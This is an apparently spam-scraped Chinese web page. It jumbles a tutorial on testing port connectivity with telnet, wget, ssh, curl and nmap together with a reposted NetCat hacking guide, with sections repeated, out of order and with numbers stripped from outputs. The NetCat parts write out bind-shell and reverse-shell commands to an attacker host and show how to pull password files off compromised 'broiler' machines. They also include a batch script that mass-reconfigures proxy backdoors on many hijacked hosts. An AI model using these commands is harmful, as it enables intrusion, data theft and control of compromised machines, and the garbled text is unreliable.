如何测试端口通不通(四种方法)

不用-v选项也可以咯

Linux环境测试机器端口连通性详解,linux详解

生产中,有很大一部分的问题都是由于不同机器间网络不同导致的,那么如何判断两台机器之间的连通性?本文介绍几种常见的方式:

telnet方法 wget方法 ssh方法 curl方法

  1. telnet方法

格式:telnet ip port

说明:ip:是远程主机的ip地址,port:是端口号

示例

端口11001不存在,下图所示

www.9778.com 1

端口11000存在,下图所示

www.9778.com 2

  1. wget方法

格式:wget ip:port

说明:ip:是远程主机的ip地址,port:是端口号

示例

端口11001不存在,下图所示

www.9778.com 3

端口11000存在,下图所示

www.9778.com 4

  1. ssh方法

格式:ssh -v -p port
[email protected]

说明:-v 调试模式(会打印日志), -p 指定端口号,
user:远程主机的登录用户,ip:是远程主机的ip地址

示例

端口11001不存在,下图所示

www.9778.com 5

端口11000存在,下图所示

www.9778.com 6

  1. curl方法

格式:curl ip:port

说明:ip:是远程主机的ip地址,port:是端口号

示例

端口11001不存在,下图所示

www.9778.com 7

端口11000存在,下图所示

www.9778.com 8

生产中,有很大一部分的问题都是由于不同机器间网络不同导致的,那么如何判断两台机器之…

传送文件: attacker machine <– victim machine
//从肉鸡拖密码文件回来. nc -d -l -p port < pathfiledest    
/*attacker machine*/ 可以shell执行 nc -vv attacker_ip port >
pathfile.txt /*victim machine*/ 需要Ctrl+C退出
//肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C.

[root@localhost ~]# nmap ... -p 
Starting Nmap . ( http://nmap.org ) at -- : CST
Nmap scan report for ...
Host is up (.s latency).
PORT STATE SERVICE
/tcp closed http
MAC Address: B:A::CF:FD:D (Unknown)
Nmap done: IP address ( host up) scanned in . seconds
[root@localhost ~]# nmap ... -p 
Starting Nmap . ( http://nmap.org ) at -- : CST
Nmap scan report for ...
Host is up (.s latency).
PORT STATE SERVICE
/tcp open http-proxy
MAC Address: B:A::CF:FD:D (Unknown)
Nmap done: IP address ( host up) scanned in . seconds
[root@localhost ~]# nmap ...
Starting Nmap . ( http://nmap.org ) at -- : CST
Nmap scan report for ...
Host is up (.s latency).
Not shown: closed ports
PORT STATE SERVICE
/tcp open ssh
/tcp open rpcbind
/tcp open http-proxy
/tcp open unknown
MAC Address: B:A::CF:FD:D (Unknown)
Nmap done: IP address ( host up) scanned in . seconds

 

总结

问题:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc.exe .
或者只有再次连接使用pskill.exe
杀掉进程.但是是否释放传输文件打开的句柄了?

username可以随意

:auto @for /f “eol=; tokens=1,2” %%i in (%1) do @(nc.exe -vv -w 3 %%i
1234 < a.cmd)

用法: ssh -v -p port username@ip

端口数据抓包. nc -vv -w 2 -o test.txt
www.xfocus.net 80 21-15

2)连接存在的端口

nc -d victim_ip port < pathfile.cmd 安静模式.

4、使用端口扫描工具

后门 victim machine: //受害者的机器 nc -l -p port -e cmd.exe //win2000
nc -l -p port -e /bin/sh //unix,linux attacker machine: //攻击者的机器.
nc ip -p port //连接victim_IP,然后得到一个shell。

3、使用wget判断

开发NetCat的功能

root@mail etc #nc -h
GNU netcat 0.7.0, a rewrite of the famous networking tool.
Basic usages:
connect to somewhere: nc [options] hostname port [port] …
listen for inbound: nc -l -p port [options] [hostname] [port]

tunnel to somewhere: nc -L hostname:port -p port [options]
Mandatory arguments to long options are mandatory for short options
too.
Options:
-c, –close close connection on EOF from stdin
-e, –exec=PROGRAM program to exec after connect
-g, –gateway=LIST source-routing hop point, up to 8
-G, –pointer=NUM source-routing pointer: 4, 8, 12, …
-h, –help display this help and exit
-i, –interval=SECS delay interval for lines sent, ports scanned
-l, –listen listen mode, for inbound connects
-L, –tunnel=ADDRESS
[img]mhtml:file://E:周济Hack[转载]nc (NetCat) 网络安全工具介绍

  • 网络技术 –
    携手同行.mht!www.9778.com 9[/img]
    ORT forward local port to remote address
    -n, –dont-resolve numeric-only IP addresses, no DNS
    -o, –output=FILE output hexdump traffic to FILE (implies -x)
    -p, –local-port=NUM local port number
    -r, –randomize randomize local and remote ports
    -s, –source=ADDRESS local source address (ip or hostname)
    -t, –tcp TCP mode (default)
    -T, –telnet answer using TELNET negotiation
    -u, –udp UDP mode
    -v, –verbose verbose (use twice to be more verbose)
    -V, –version output version information and exit
    -x, –hexdump hexdump incoming and outgoing traffic
    -w, –wait=SECS timeout for connects and final net reads
    -z, –zero zero-I/O mode (used for scanning)
    Remote port number can also be specified as range. Example: ‘1-1024’
    我用的是GNU的netcat,比起@stake公司的netcat多了-c选项,不过这是很有用的一个选项,后面我们会讲到.还有GNU的-L,-t
    ,-T选项和@stake的-L -t用途是不一样的,自己琢磨吧.
    一.客户端
    这是最简单的使用方式,nc
    nc www.apache.org 80
    get / http/1.1
    HTTP/1.1 400 Bad Request
    Date: Mon, 08 Dec 2003 06:23:31 GMT
    Server: Apache/2.0.48-dev (Unix)
    Content-Length: 310
    Connection: close
    Content-Type: text/html; charset=iso-8859-1
    400 Bad Request
    如何测试端口通不通(四种方法)。Bad Request
    Your browser sent a request that this server could not understand.
    Apache/2.0.48-dev (Unix) Server at
    www.apache.org Port 80
    呵呵,看到了什么,我什么也没说哦:p
    二.简单服务器
    nc -l -p //这里-l参数表明nc处于监听模式,-p指定端口号.
    nc -l -p 1234[假设这台主机ip为192.168.0.1]
    然后从客户端输入,nc 192.168.0.1 1234
    然后你从任一端输入的数据就会显示在另一端了.其实netcat的server和client的区别并不大,区别仅仅在于谁执行了-l来监听端口,一旦连接建立以后,就没有什么区别了.从这里我们也可以了解netcat的工作原理了,通过网络链接读写数据.[It
    is a simple Unix utility which reads and writes data across network
    connections, using TCP or UDP protocol]–@stake主页是这么说的.
    三.telnet服务器
    nc有一个-e的选项,用来指定在连接后执行的程序.
    在windows平台上可以指定-e
    cmd.exe[winxp,win2000,]如果是98就指定command.exe.linux则指定-e
    bash,或者任何你喜欢的shell,或者是你自己编写的程序,通常是做为后门:p
    指定-e的效果是由你指定的程序代替了nc自己来接受另一端的输入,并把输入(命令)后反馈的结果显示到另一端.
    server: nc -l -p 1234 -e bash
    client: nc 192.168.0.1 1234 就可以远程登陆server了
    其实我们不一定非要在server端指定-e,也可以在client端指定.
    server: nc -l -p 1234
    client: nc -e 192.168.0.1 1234
    .这样,就相当于在server上远程登陆client了.我前面说过,有关client和server的区分是没有什么意义的.谁做为telnet
    server的标准只有一个,谁执行了-e [shell].
    四.ftp服务器
    nc可以从任何地方接受输入,不仅仅是-e指定的程序,还可以是文件;nc可以将输入重定向到任何地方,不仅仅是默认的屏幕.指定的方法很简单,使用
    > 和 somefile
    例2; server: nc -l -c -p 1234 >somefile
    client: nc 192.168.0.1 1234 /check/host.disk1
    然后,可以利用linux内核的loopback特性,把host.disk以只读的方式mount上,然后就可以做取证分析了.
    [如果真的做取证分析,一定不要在原始的受害主机硬盘上find和类似的操作,因为这会修改时间标记而破坏原始的证据]
    例4. 将文件压缩后再传送.
    如果你的文件很大,何不先压缩它呢,利用管道,我们甚至不用生成压缩后的中间文件!
    源主机: tar czf – work|nc -l -c -p 1234
    目的主机: nc 192.168.0.1 1234|tar xzvf –
    [tar打包时最好不要使用绝对路径,虽然GNU的tar能把它转换成相对路径,但不是所有的平台都能做到,所以如果不想把你的文件系统搞乱的话,就使用相对路径吧!]
    …………
    这里的server和client的组合是可以互换的,以第六节中例1来说明:
    你也可以这样:
    干净主机: nc -l -p 1234 -c |md5sum -c -|grep -v OK
    被入侵主机:find /etc -type f|xargs md5sum|nc 192.168.0.2 1234
    其实,这些都不是固定的程式,根据你的实际需要,你可以想出更多的使用方法。因为,你是在使用UNIX,这就是UNIX。
    that’s
    all.抛砖引玉,写到这里吧,这就是”瑞士军刀”,觉得怎么样?其实netcat还有许多许多其他的用法,唯一限制就是你的想象力。
    netcat中继的问题.某些黑客就拿netcat中继功能用做跳板来躲避追踪的。
      NetCat小巧且功能强大,描述它的功能就是象描述瑞士军刀的功能一样。
      如果没有提供命令行参数,NetCat会提示你从标准输入来输入命令参数,然后NetCat会在内部解析输入。用这种办法输入命令式参数,可以用来防止借助“ps”来查看你的命令行参数。
      主机参数可以是一个名字或一个IP地址。如果-n出现,则它接受IP地址,而不再对计算机的名字或域名进行解析。如果没有-n,但加上-v,则
    NetCat可进行正/反向域名解析,并警告the all-too-common problem of
    mismatched name in
    DNS。这会耗费稍多一点时间,但在某些情况下会有用处。如,你想知道某个IP的主机名,NetCat可省却你手工查找的时间。
      要建立对外的连接,必须提供一个端口号,可以是个数字,也可以/etc/services列表中的端口服务名。当-n出现时,则只有数字形式的端口可以接收。
      -v参数,可以将一些关于连接建立信息输出到标准错误。-v参数多出现几次,则显示的信息会更多一些。如果-v参数没有出现,则NetCat将默默地工作,至到出现错误为止。
      -w参数后跟一个时间值,用以指定建立链接时的等待时间,-w如果多次出现,则后面的值将取代前面的设置。-w还用来设置连接非活动时间,当标准输入结束以后,如果等待指定的一段时间后仍没有数据返回,则NetCat会再试一次,然后关闭连接并退出。
      当-u参数出现时,用UDP建立连接。
      用-o
    logfile参数,可以将连接上往来传输的数据以16进制的形式记录到logfile中(每行的左半部分是16进制显示,右半部分为ascii显示)。其中,每行的第一个字符为””,分别表示接收的数据或发送的数据。
      NetCat用-s ip-addr或-s name来绑定本地网络资源地址,-p
    portarg来绑定本地端口。除了因权限限制或端口已经使用外,-p可以绑定任何端口。Root用户可以绑定保留的1024以内的端口。如果不用-p指定端口,则使用系统给定的未使用的端口。(-p功能在客户端状态也可以使用,-s功能并不是在所有的平台上都可用)
      -l参数可以使NetCat以服务器状态运行。”nc -l -p 1234 [remote hostname]
    [remote
    port]”可以用来指定入连的主机和端口,如果申请连接的主机或端口不符指定,则会断开连接。
      当编译时置-DGAPING_SECURITY_HOLE,则-e参数被NetCat支持。-e后面跟一可执行程序的名称,当一个连接(入或出)被建立时,这个程序被运行。尤其当NetCat以服务器端运行时,-e参数使其有点象inetd了,只是只能运行一个进行而已。需要说明的是,-e后的程序不能从NetCat的命令行接收参数,如果有参数要传递,可能需要一个脚本。
      当编译时置-DTELNET,则-t参数被支持,此时NetCat可以登录到一个telnetd服务器,并提供相关的握手应答,至到出现登录提示符。
      NetCat用8k的读写,来尽可能高效将收到数据显示到标准输出上及将标准输入写到连接上。-i参数,可以用来设置发送一行标准输入信息的间隔,以减少发送速度。
      端口扫描是一探测主机服务的流行方法。NetCat的命令行中,先是参数,再是主机,最后是端口。端口可以是一些服务名、端口号,或者是一个端口范围(形如N-M)。”nc
    -v -w 2 -z -i 1
    20-30”用来扫描target主机的20-30(两端包含)端口,-z表示不发送任何数据到TCP连接或非常有限的数据到UDP连接。-i用以指明两个端口建立连接的时间的间隔。-w用以指明连接不活动时间。通常情况下,扫描按从高到低的顺序依次扫描指定的端口,-r参数可以让NetCat在指定的端口范围内随机地扫描端口。(当-r被用于单个连接时,本地的端口在8192以上,除非用-p指定)
      -g可以用来指定网关(最多可达8个),-G可以用来指定source-routing
    pointer。(这是原文,但我还是不明白。:(-g => Group hops
    Many people are interested in testing network connectivity using IP
    source routing, even if it’s only to make sure their own firewalls are
    blocking source-routed packets. On systems that support it, the -g
    switch can be used multiple times [up to 8] to construct a
    loose-source-routed path for your connection, and the -G argument
    positions the “hop pointer” within the list. If your network allows
    source-routed traffic in and out, you can test connectivity to your own
    services via remote points in the internet. Note that although newer
    BSD-flavor telnets also have source-routing capability, it isn’t clearly
    documented and the command syntax is somewhat clumsy. Netcat’s handling
    of “-g” is modeled after “traceroute”.)
      NetCat不是一个任意包发生器,但可以与raw
    socket通话,nit/bpf/dlpi有时也能行( nit/bpf/dlpi may appear at some
    point).推荐Drren Reed的ip_filter包,里面有一个工具能创建并发送raw
    packets.
    ftp服务器
    nc可以从任何地方接受输入,不仅仅是-e指定的程序,还可以是文件;nc可以将输入重定向到任何地方,不仅仅是默认的屏幕.指定的方法很简单,使用
    > 和 somefile
    例2; server: nc -l -c -p 1234 >somefile
    client: nc 192.168.0.1 1234 /check/host.disk1
    然后,可以利用linux内核的loopback特性,把host.disk以只读的方式mount上,然后就可以做取证分析了.
    [如果真的做取证分析,一定不要在原始的受害主机硬盘上find和类似的操作,因为这会修改时间标记而破坏原始的证据]
    例4. 将文件压缩后再传送.
    如果你的文件很大,何不先压缩它呢,利用管道,我们甚至不用生成压缩后的中间文件!
    源主机: tar czf – work|nc -l -c -p 1234
    目的主机: nc 192.168.0.1 1234|tar xzvf –
    [tar打包时最好不要使用绝对路径,虽然GNU的tar能把它转换成相对路径,但不是所有的平台都能做到,所以如果不想把你的文件系统搞乱的话,就使用相对路径吧!]
    …………
    这里的server和client的组合是可以互换的,以第六节中例1来说明:
    你也可以这样:
    干净主机: nc -l -p 1234 -c |md5sum -c -|grep -v OK
    被入侵主机:find /etc -type f|xargs md5sum|nc 192.168.0.2 1234
    连接模式:nc [-options] hostname port [ports]
    监听模式:nc -l -p port [options] [hostname] [port]
    比如,连接到REMOTE主机,格式为nc -nvv 192.168.x.x
    80,连到192.168.x.x的TCP80端口。
    监听LOCAL主机,格式为nc -l -p 80 ,监听本机的TCP80端口。
    扫描远程主机,格式为nc -nvv -w2 -z 192.168.x.x
    80-445,扫描192.168.x.x的TCP80到TCP445的所有端口。
    REMOTE主机绑定SHELL,格式为nc -l -p 5354 -t -e
    C:winntsystem32cmd.exe,绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP
    5354端口。
    REMOTE主机绑定SHELL并反向连接,格式为nc -t -e c:winntsystem32cmd.exe
    192.168.x.x
    5354,绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口。
    以上为最基本的几种用法,其实NC的用法还有很多,当配合管道命令“|”与重定向命令“”等命令时功能更强大。
    其部分参数意义如下:
    -d 后台模式
    -e prog 程序重定向,一旦连接,就执行[危险!!]
    -g gateway source-routing hop point, up to 8
    -G num source-routing pointer: 4, 8, 12, …
    -h 帮助信息
    -i secs 延时的间隔
    -l 监听模式,用于入站连接
    -L 连接关闭后,仍然继续监听
    -n 指定数字的IP地址,不能用hostname
    -o file 记录16进制的传输
    -p port 本地端口号
    -r 随机本地及远程端口
    -s addr 本地源地址
    -t 使用TELNET交互方式
    -u UDP模式
    -v 详细输出——用两个-v可得到更详细的内容
    -w secs timeout的时间
    -z 将输入输出关掉——用于扫描时
    端口的刺探:
    nc -vv ip port
    RIVER [192.168.0.198] 19190
    [img]mhtml:file://E:周济Hack[转载]nc (NetCat) 网络安全工具介绍
  • 网络技术 –
    携手同行.mht!www.9778.com 10[/img]
    open //显示是否开放open
    扫描器
    nc -vv -w 5 ip port-port port
    nc -vv -z ip port-port port
    这样扫描会留下大量的痕迹,系统管理员会额外小心
    后门
    victim machine: //受害者的机器
    nc -l -p port -e cmd.exe //win2000
    nc -l -p port -e /bin/sh //unix,linux
    attacker machine: //攻击者的机器.
    nc ip -p port //连接victim_IP,然后得到一个shell。
    反向连接
    attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击.
    //或者wollf的反向连接.
    nc -vv -l -p port
    victim machine:
    nc -e cmd.exe attacker ip -p port
    nc -e /bin/sh attacker ip -p port
    或者:
    attacker machine:
    nc -vv -l -p port1 /*用于输入*/
    nc -vv -l -p prot2 /*用于显示*/
    victim machine:
    nc attacker_ip port1 | cmd.exe | nc attacker_ip port2
    nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
    139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP)
    这样就可以保证nc.exe优先于NETBIOS(windows环境)
    传送文件:
    attacker machine  pathfile.txt /*victim machine*/ 需要Ctrl+C退出
    //肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C.
    attacker machine –> victim machine //上传命令文件到肉鸡
    nc -vv -l -p port > pathfile.txt      /*victim machine*/
    需要Ctrl+C退出
    nc -d victim_ip port a.cmd
    @echo s >>a.cmd
    @echo cd /d %%windir%%system32 >>a.cmd
    @net stop “sksockserver” >>a.cmd
    @snake.exe -config port 11111 >>a.cmd
    @net start “sksockserver” >>a.cmd
    @exit >>a.cmd
    :auto
    @for /f “eol=; tokens=1,2” %%i in (%1) do @(nc.exe -vv -w 3 %%i
    1234

2)再连接存在的端口

telnet,自动批处理。 ★★★★★我要重点推荐的东西就是这个. nc victim_ip port
< pathfile.cmd   /*victim machine*/ 显示执行过程. nc -vv victim_ip
port < pathfile.cmd   /*victim machine*/ 显示执行过程.

2、使用ssh判断

___________modi.bat____________________________www.9778.com,
@if “%1″==”” echo Error: no ip.txt &&goto END

-p 指定端口

139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP)
这样就可以保证nc.exe优先于NETBIOS(windows环境)

用法: wget ip:port

attacker machine –> victim machine //上传命令文件到肉鸡 nc -vv -l
-p port > pathfile.txt      /*victim machine*/ 需要Ctrl+C退出 nc -d
victim_ip port < pathfiledest   /*attacker machine*/ 可以shell执行
//这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆.

2)连接存在的端口

######################################################################
管理肉鸡,更改肉鸡设置
######################################################################
比如要统一更改肉鸡上面的代理端口.snake.exe 修改为11111
服务名称”sksockserver” 使用winshell后门. 端口1234 密码password
命令格式就是 modi.bat youip.txt

1)先用telnet连接不存在的端口

:start @echo password >a.cmd @echo s >>a.cmd @echo cd /d
%%windir%%system32 >>a.cmd @net stop “sksockserver” >>a.cmd
@snake.exe -config port 11111 >>a.cmd @net start “sksockserver”
>>a.cmd @exit >>a.cmd

1)连接不存在的端口

 

一般情况下使用”telnet ip
port”判断端口通不通,其实测试方法不止这一种,还有很多种方法,下面小编给大家分享了几种方法,具体内容请往下看:

_______________file.cmd________________________
password cd %windir% echo []=[%windir%] c: cd md test cd /d
%windir%system32 net stop sksockserver snake.exe -config port 11111 net
start sksockserver exit
_______________file.cmd__END___________________

wget是linux下的下载工具,需要先安装.

以上为最基本的几种用法,其实NC的用法还有很多,当配合管道命令“|”与重定向命令“<”、“>”等命令时功能更强大。
其部分参数意义如下: -d 后台模式 -e prog
程序重定向,一旦连接,就执行[危险!!] -g gateway source-routing hop
point[s], up to 8 -G num source-routing pointer: 4, 8, 12, … -h
帮助信息 -i secs 延时的间隔 -l 监听模式,用于入站连接 -L
连接关闭后,仍然继续监听 -n 指定数字的IP地址,不能用hostname -o file
记录16进制的传输 -p port 本地端口号 -r 随机本地及远程端口 -s addr
本地源地址 -t 使用TELNET交互方式 -u UDP模式 -v
详细输出——用两个-v可得到更详细的内容 -w secs timeout的时间 -z
将输入输出关掉——用于扫描时

[root@localhost ~]# wget ...:
---- ::-- http://.../
Connecting to ...:... failed: Connection refused.

搞系统安全的人,可能没人没听说过大名鼎鼎的nc吧,它可以代替telnet,可以启监听程序,可以用来传输文件,可以用来作为黑客辅助程序,深受大量hacker的喜爱,其功能有如瑞士军刀般好用。
NetCat是一个非常简单的Unix工具,可以读、写TCP或UDP网络连接(network
connection)。它被设计成一个可靠的后端(back-end)工具,能被其它的程序程序或脚本直接地或容易地驱动。同时,它又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能。NetCat,它的实际可运行的名字叫nc,应该早很就被提供,就象另一个没有公开但是标准的Unix工具。有gnu版本和
windows下的运行版本, 这里仅介绍unix版的。
   
NetCat可以发现网络上的设备并且绘制网络地图。人们可以从Sourceforge网站和@stake网站下载这一工具。NetCat是由一位前@stake员工所编写。 
 
  目前,@stake大约提供二十多种安全工具,工具种类涉及信息采集、证据收集、网络实用工具、口令审计、恢复与修补以及安全漏洞扫描等。其中,Andreas
Junestam编写的WFPdisable、Paul Clip编写的AUSTIN、Frederic
Bret-Mount开发的ComBust以及Ollie Whitehouse开发的WAP Assessment
Tool都以保持最新状态而闻名
首先我们要弄明白netcat的工作原理,其实netcat的原理很简单,它就是从网络的一端读入数据,然后输出到网络的另一端,它可以使用tcp和
udp协议.之所以叫做netcat,因为它是网络上的cat,想象一下cat的功能,读出一个文件的内容,然后输出到屏幕上(默认的stdout是屏幕,当然可以重定向到其他地方).netcat也是如此,它读取一端的输入,然后传送到网络的另一端,
就这么简单.但是千万不要小看了它,netcat可以完成很多任务,,尤其是和其他程序组合时.好了,废话少说,进入正题吧.:p
网上有两种版本的netcat,一个是@stake公司的netcat,在

可以下载。
gnu的可以在 下载。
FreeBSD下的安装:
cvsup更新ports后,
# cd /usr/ports/net/netcat && make -s install distclean
安装好后,输入
nc或man nc,就可以看到相关信息了。
使用:
  最简单的使用方法,”nc host
port”,能建立一个TCP连接,连向指定的主机和端口。接下来,你的从标准输入中输入的任何内容都会被发送到指定的主机,任何通过连接返回来的信息都被显示在你的标准输出上。这个连接会一直持续下去,至到连接两端的程序关闭连接。注意,这种行为不同于大多数网络程序,它们会在从标准输入读到一个文件结束符后退出。
  NetCat还可以当服务器使用,监听任意指定端口的连接请求(inbound
connection),并可做同样的读写操作。除了较小限制外,它实际并不关心自己以“客户端”模式还是“服务器”模式运行,它都会来回运送全部数据。在任何一种模式下,都可以设置一个非活动时间来强行关闭连接。
  它还可以通过UDP来完成这些功能,因此它就象一个telnet那样的UDP程序,用来测试你的UDP服务器。正如它的“U”所指的,UDP跟TCP相比是一种不可靠的数据传输,一些系统在使用UDP传送大量数据时会遇到麻烦,但它还有一些用途。
  你可能会问“为什么不用telnet来连接任意的端口”?问题提得好(valid),这儿有一些理由。Telnet有“标准输入文件结束符
(standard input
EOF)”问题,所以需要在脚本中延迟计算以便等待网络输出结束。这就是netcat持续运行直到连接被关闭的主要原因。Telnet也不能传输任意的二进制数据,因为一些特定的字符会被解释为Telnet的参数而被从数据流中去除。Telnet还将它的一些诊断信息显示到标准输出上,而NetCat会将这信息与它的输出分开以不改变真实数据的传输,除非你要求它这么做。当然了,Telnet也不能监听端口,也不能使用UDP。NetCat没有这些限制,比Telnet更小巧和快捷,而且还有一些其它的功能。
  NetCat的一些主要功能:
支持连出和连入(outbound and inbound
connection),TCP和UDP,任意源和目的端口
全部DNS正向/反向检查,给出恰当的警告
使用任何源端口
使用任何本地设置的网络资源地址
内建端口扫描功能,带有随机数发生器
内建loose source-routing功能
可能标准输入读取命令行参数
慢发送模式,每N秒发送一行
以16进制显示传送或接收的数据
允许其它程序服务建立连接,可选
对Telnet应答,可选

[wyq@localhost ~]$ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...

端口的刺探: nc -vv ip port RIVER [192.168.0.198] 19190  open
//显示是否开放open 扫描器 nc -vv -w 5 ip port-port port nc -vv -z ip
port-port port 这样扫描会留下大量的痕迹,系统管理员会额外小心

1、使用telnet判断

结论: 可以传输ascii,bin文件.可以传输程序文件.

三个工具的共同点是:1.以tcp协议为基础;2.能访问指定端口.
遵循这两点可以找到很多工具.

:END
___________modi.bat__END_______________________

用法: telnet ip port

反向连接 attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击.
//或者wollf的反向连接. nc -vv -l -p port victim machine: nc -e cmd.exe
attacker ip -p port nc -e /bin/sh attacker ip -p port

[root@localhost ~]# ssh ... -p 
a
^]
^C
[root@localhost ~]# ssh ... -p -v
OpenSSH_.p, OpenSSL ..e-fips Feb 
debug: Reading configuration data /etc/ssh/ssh_config
debug: Applying options for *
debug: Connecting to ... [...] port .
debug: Connection established.
debug: permanently_set_uid: /
debug: identity file /root/.ssh/identity type -
debug: identity file /root/.ssh/identity-cert type -
debug: identity file /root/.ssh/id_rsa type -
debug: identity file /root/.ssh/id_rsa-cert type -
debug: identity file /root/.ssh/id_dsa type -
debug: identity file /root/.ssh/id_dsa-cert type -
a
^C

 

telnet是windows标准服务,可以直接用;如果是linux机器,需要安装telnet.

或者: attacker machine: nc -vv -l -p port1 /*用于输入*/ nc -vv -l -p
prot2 /*用于显示*/ victim machine: nc attacker_ip port1 | cmd.exe |
nc attacker_ip port2 nc attacker_ip port1 | /bin/sh | nc attacker_ip
port2

用其它web服务器提供端口也一样,由于python比较方便,这里就用它

< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500
Syntax error < 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e
72 # , command “” unr < 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a
# ecognized… < 00000084 83 00 00 01 8f # …..

准备环境

 NetCat是一个非常简单的Unix工具,可以读、写TCP或UDP网络连接(network
connection)。它被设计成一个可靠的后端(back-end)工具,能被其它的程序程序或脚本直接地或容易地驱动。同时,它又是一个功能丰富的
网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能。
  
首先我们要弄明白netcat的工作原理,其实netcat的原理很简单,它就是从网络的一端读入数据,然后输出到网络的另一端,它可以使用tcp和
udp协议.之所以叫做netcat,因为它是网络上的cat,想象一下cat的功能,读出一个文件的内容,然后输出到屏幕上(默认的stdout是屏
幕,当然可以重定向到其他地方).netcat也是如此,它读取一端的输入,然后传送到网络的另一端,就这么简单.但是千万不要小看了它,netcat可以完成很多任务,,尤其是和其他程序组合时.
   最简单的使用方法,”nc host
port”,能建立一个TCP连接,连向指定的主机和端口。接下来,你的从标准输入中输入的任何内容都会被发送到指定的主机,任何通过连接返回来的信息都
被显示在你的标准输出上。这个连接会一直持续下去,至到连接两端的程序关闭连接。注意,这种行为不同于大多数网络程序,它们会在从标准输入读到一个文件结
束符后退出。   
NetCat还可以当服务器使用,监听任意指定端口的连接请求(inbound
connection),并可做同样的读写操作。除了较小限制外,它实际并不关心自己以“客户端”模式还是“服务器”模式运行,它都会来回运送全部数据。
在任何一种模式下,都可以设置一个非活动时间来强行关闭连接。
 
你可能会问“为什么不用telnet来连接任意的端口”?问题提得好(valid),这儿有一些理由。Telnet有“标准输入文件结束符
(standard input
EOF)”问题,所以需要在脚本中延迟计算以便等待网络输出结束。这就是netcat持续运行直到连接被关闭的主要原因。Telnet也不能传输任意的二
进制数据,因为一些特定的字符会被解释为Telnet的参数而被从数据流中去除。Telnet还将它的一些诊断信息显示到标准输出上,而NetCat会将
这信息与它的输出分开以不改变真实数据的传输,除非你要求它这么做。当然了,Telnet也不能监听端口,也不能使用UDP。NetCat没有这些限制,
比Telnet更小巧和快捷,而且还有一些其它的功能。
NetCat小巧且功能强大,描述它的功能就是象描述瑞士军刀的功能一样。  
如果没有提供命令行参数,NetCat会提示你从标准输入来输入命令参数,然后NetCat会在内部解析输入。用这种办法输入命令式参数,可以用来防止借助“ps”来查看你的命令行参数。
主机参数可以是一个名字或一个IP地址。如果-n出现,则它接受IP地址,而不再对计算机的名字或域名进行解析。如果没有-n,但加上-v,则
NetCat可进行正/反向域名解析,并警告the all-too-common problem of
mismatched name in
DNS。这会耗费稍多一点时间,但在某些情况下会有用处。如,你想知道某个IP的主机名,NetCat可省却你手工查找的时间。
 
要建立对外的连接,必须提供一个端口号,可以是个数字,也可以/etc/services列表中的端口服务名。当-n出现时,则只有数字形式的端口可以接收。
 
-v参数,可以将一些关于连接建立信息输出到标准错误。-v参数多出现几次,则显示的信息会更多一些。如果-v参数没有出现,则NetCat将默默地工作,至到出现错误为止。
 
-w参数后跟一个时间值,用以指定建立链接时的等待时间,-w如果多次出现,则后面的值将取代前面的设置。-w还用来设置连接非活动时间,当标准输入结束以后,如果等待指定的一段时间后仍没有数据返回,则NetCat会再试一次,然后关闭连接并退出。
  当-u参数出现时,用UDP建立连接。   用-o
logfile参数,可以将连接上往来传输的数据以16进制的形式记录到logfile中(每行的左半部分是16进制显示,右半部分为ascii显示)。其中,每行的第一个字符为”<”或”>”,分别表示接收的数据或发送的数据。
  NetCat用-s ip-addr或-s name来绑定本地网络资源地址,-p
portarg来绑定本地端口。除了因权限限制或端口已经使用外,-p可以绑定任何端口。Root用户可以绑定保留的1024以内的端口。如果不用-p指
定端口,则使用系统给定的未使用的端口。(-p功能在客户端状态也可以使用,-s功能并不是在所有的平台上都可用)
  -l参数可以使NetCat以服务器状态运行。”nc -l -p 1234 [remote hostname]
[remote
port]”可以用来指定入连的主机和端口,如果申请连接的主机或端口不符指定,则会断开连接。
 
当编译时置-DGAPING_SECURITY_HOLE,则-e参数被NetCat支持。-e后面跟一可执行程序的名称,当一个连接(入或出)被建立
时,这个程序被运行。尤其当NetCat以服务器端运行时,-e参数使其有点象inetd了,只是只能运行一个进行而已。需要说明的是,-e后的程序不能
从NetCat的命令行接收参数,如果有参数要传递,可能需要一个脚本。  
当编译时置-DTELNET,则-t参数被支持,此时NetCat可以登录到一个telnetd服务器,并提供相关的握手应答,至到出现登录提示符。
 
NetCat用8k的读写,来尽可能高效将收到数据显示到标准输出上及将标准输入写到连接上。-i参数,可以用来设置发送一行标准输入信息的间隔,以减少发送速度。
 
端口扫描是一探测主机服务的流行方法。NetCat的命令行中,先是参数,再是主机,最后是端口。端口可以是一些服务名、端口号,或者是一个端口范围(形
如N-M)。”nc -v -w 2 -z -i 1
20-30”用来扫描target主机的20-30(两端包含)端口,-z表示不发送任何数据到TCP连接或非常有限的数据到UDP连接。-i用以指明两
个端口建立连接的时间的间隔。-w用以指明连接不活动时间。通常情况下,扫描按从高到低的顺序依次扫描指定的端口,-r参数可以让NetCat在指定的端
口范围内随机地扫描端口。(当-r被用于单个连接时,本地的端口在8192以上,除非用-p指定)

启动一个web服务器,提供端口.

[root@localhost ~]# wget ...:
---- ::-- http://...:/
Connecting to ...:... connected.
HTTP request sent, awaiting response...

ssh是linux的标准配置并且最常用,可以用来判断端口吗?

[root@localhost ~]# ssh 10.0.250.3 -p 80
ssh: connect to host 10.0.250.3 port 80: Connection refused
[root@localhost ~]# ssh 10.0.250.3 -p 80 -v
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: Applying options for *
